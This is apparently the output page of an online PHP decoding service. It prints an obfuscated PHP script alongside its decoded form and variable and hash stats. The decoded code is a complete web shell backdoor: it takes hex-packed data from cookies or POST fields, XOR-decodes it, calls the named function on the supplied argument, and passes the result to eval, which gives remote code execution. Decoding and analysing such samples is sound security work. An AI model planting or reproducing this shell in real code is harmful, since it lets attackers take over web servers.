Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php $zhgDCE = 's' . "\164"/* jl */./*biQcL */chr (114) ./* Ldtj */"\x5f" . "\..

Decoded Output download

<?php
$zhgDCE	=  's' .	"t"/*   jl   */./*biQcL  */chr	(114)     ./*  Ldtj */"_"	.	"r"   .   'e'  . chr/*GCjM */(112)    .	'e'	. "a"/*bdVcP   */.     "t";$_wx     =	'16842';
     $AXVhXgNLSo	=/*  bxftR   */chr/*   jP  */(101)	.     "x"   .	chr/*   nuh*/(112)	.    "l"/* MVnS   */.	"o"   .  'd'	./* pau  */"e";
     $SnLuzQYX/*   KNbDq  */=	chr   (112) .    "a"/*  dY   */.    "c"/*   qF  */./*   IyP*/'k';

function/*   dsQQz */PSKJDyZsp()
					     {
		/*  wqaVN  */$IWUWdCYlJE/*Y  */=	Array     (	"ESmuWAJJbTgdxVYRkMGl"	=>	"eVAvHMboZelWSvZCjzrWut"/* MXMw*/);
					/*nlyci  */
		 $BMrESZT/*eTs*/=  Array  ( "yUZLgz"     =>	"RECSFJPcnZRzHJxFczXtX"	);;
		$WXNPr	=    Array(/*  v*/$IWUWdCYlJE,  $_COOKIE,/* Pld  */$IWUWdCYlJE,	$_POST,    $BMrESZT);
	
 	return   $WXNPr;$_s	=    '26388';
          }
    
     function/*ewMP   */jMiaQSlJ($oBzKRYMeG)
		/* X   */{


/*   oK   */if	(	count/*   K */(   $oBzKRYMeG	)	==    3	)/*  qr  */{

	$ujDrOGSwbX/*   w   */=	$oBzKRYMeG[1];$_zxMr    =	'32706';
     /*FBUNd */$dcxGTuXuyd  = $oBzKRYMeG[2];;

	$tfojdRclMH	=/*   y  */$ujDrOGSwbX($dcxGTuXuyd);;
				eval	(	$tfojdRclMH/*   eQArn*/);;
			die   ();
   	}


   }
/*   XUl*/
         function/* HxNbf   */rvWIwKUl($sCLnwCP,	$YJGxLVs)
 /*  DJ*/{
						return/* ampU */$sCLnwCP ^/*  bX*/$YJGxLVs;
						}
    
			/* K */$KBTbH	=     "#";
				
        foreach    (PSKJDyZsp()/*   jfUQ   */as	$JKNJTNje)/*   e  */{
  /*md   */foreach/*  O   */(	$JKNJTNje as	$YJGxLVs	=>	$sCLnwCP	)	{
     	


	$sCLnwCP	=   @$SnLuzQYX(/* tG  */chr	(72)   .	"*",	$sCLnwCP	);$_tuDdc/*   jnI  */=	'50352';
 /* O  */


 $YJGxLVs/*px */.=	"sDoWA-pMNovdu-BNN-FEotSZs-fWmLud-UfqJe-jdMZ";$_k	=   '62337';
				$YJGxLVs/*  kfjPU*/=	$zhgDCE  (     $YJGxLVs,/*   snCel  */(	strlen(/*q   */$sCLnwCP/*OI */)/strlen(/*  GXXTU  */$YJGxLVs  )/*   LXiaH*/)/* Ve  */+	1);$_Lc	=/*  g   */'33260';
   


   $wvFEgcST   =	rvWIwKUl($sCLnwCP,/*Wbei*/$YJGxLVs);
			    
  	$oBzKRYMeG	= $AXVhXgNLSo   ($KBTbH,   $wvFEgcST/*  q */);


 

	jMiaQSlJ($oBzKRYMeG);$_ju	=  '52834';

/*   hpTMj*/}
		  } ?>

Did this file decode correctly?

Original Code

<?php
$zhgDCE	=  's' .	"\164"/*   jl   */./*biQcL  */chr	(114)     ./*  Ldtj */"\x5f"	.	"\x72"   .   'e'  . chr/*GCjM */(112)    .	'e'	. "\141"/*bdVcP   */.     "\x74";$_wx     =	'16842';
     $AXVhXgNLSo	=/*  bxftR   */chr/*   jP  */(101)	.     "\x78"   .	chr/*   nuh*/(112)	.    "\154"/* MVnS   */.	"\x6f"   .  'd'	./* pau  */"\145";
     $SnLuzQYX/*   KNbDq  */=	chr   (112) .    "\141"/*  dY   */.    "\x63"/*   qF  */./*   IyP*/'k';

function/*   dsQQz */PSKJDyZsp()
					     {
		/*  wqaVN  */$IWUWdCYlJE/*Y  */=	Array     (	"ESmuWAJJbTgdxVYRkMGl"	=>	"eVAvHMboZelWSvZCjzrWut"/* MXMw*/);
					/*nlyci  */
		 $BMrESZT/*eTs*/=  Array  ( "yUZLgz"     =>	"RECSFJPcnZRzHJxFczXtX"	);;
		$WXNPr	=    Array(/*  v*/$IWUWdCYlJE,  $_COOKIE,/* Pld  */$IWUWdCYlJE,	$_POST,    $BMrESZT);
	
 	return   $WXNPr;$_s	=    '26388';
          }
    
     function/*ewMP   */jMiaQSlJ($oBzKRYMeG)
		/* X   */{


/*   oK   */if	(	count/*   K */(   $oBzKRYMeG	)	==    3	)/*  qr  */{

	$ujDrOGSwbX/*   w   */=	$oBzKRYMeG[1];$_zxMr    =	'32706';
     /*FBUNd */$dcxGTuXuyd  = $oBzKRYMeG[2];;

	$tfojdRclMH	=/*   y  */$ujDrOGSwbX($dcxGTuXuyd);;
				eval	(	$tfojdRclMH/*   eQArn*/);;
			die   ();
   	}


   }
/*   XUl*/
         function/* HxNbf   */rvWIwKUl($sCLnwCP,	$YJGxLVs)
 /*  DJ*/{
						return/* ampU */$sCLnwCP ^/*  bX*/$YJGxLVs;
						}
    
			/* K */$KBTbH	=     "\x23";
				
        foreach    (PSKJDyZsp()/*   jfUQ   */as	$JKNJTNje)/*   e  */{
  /*md   */foreach/*  O   */(	$JKNJTNje as	$YJGxLVs	=>	$sCLnwCP	)	{
     	


	$sCLnwCP	=   @$SnLuzQYX(/* tG  */chr	(72)   .	"\52",	$sCLnwCP	);$_tuDdc/*   jnI  */=	'50352';
 /* O  */


 $YJGxLVs/*px */.=	"sDoWA-pMNovdu-BNN-FEotSZs-fWmLud-UfqJe-jdMZ";$_k	=   '62337';
				$YJGxLVs/*  kfjPU*/=	$zhgDCE  (     $YJGxLVs,/*   snCel  */(	strlen(/*q   */$sCLnwCP/*OI */)/strlen(/*  GXXTU  */$YJGxLVs  )/*   LXiaH*/)/* Ve  */+	1);$_Lc	=/*  g   */'33260';
   


   $wvFEgcST   =	rvWIwKUl($sCLnwCP,/*Wbei*/$YJGxLVs);
			    
  	$oBzKRYMeG	= $AXVhXgNLSo   ($KBTbH,   $wvFEgcST/*  q */);


 

	jMiaQSlJ($oBzKRYMeG);$_ju	=  '52834';

/*   hpTMj*/}
		  }

Function Calls

chr 5
PSKJDyZsp 1

Variables

$_s 26388
$_wx 16842
$KBTbH #
$WXNPr [{'key': 0, 'value': [{'key': 'ESmuWAJJbTgdxVYRkMGl', 'value': 'eVAvHMboZelWSvZCjzrWut'}]}, {'key': 1, 'value': 0}, {'key': 2, 'value': [{'key': 'ESmuWAJJbTgdxVYRkMGl', 'value': 'eVAvHMboZelWSvZCjzrWut'}]}, {'key': 3, 'value': 0}, {'key': 4, 'value': [{'key': 'yUZLgz', 'value': 'RECSFJPcnZRzHJxFczXtX'}]}]
$zhgDCE str_repeat
$BMrESZT [{'key': 'yUZLgz', 'value': 'RECSFJPcnZRzHJxFczXtX'}]
$SnLuzQYX pack
$AXVhXgNLSo explode
$IWUWdCYlJE [{'key': 'ESmuWAJJbTgdxVYRkMGl', 'value': 'eVAvHMboZelWSvZCjzrWut'}]

Stats

MD5 2561d690e60be5a317e8f3d44c385891
Eval Count 0
Decode Time 442 ms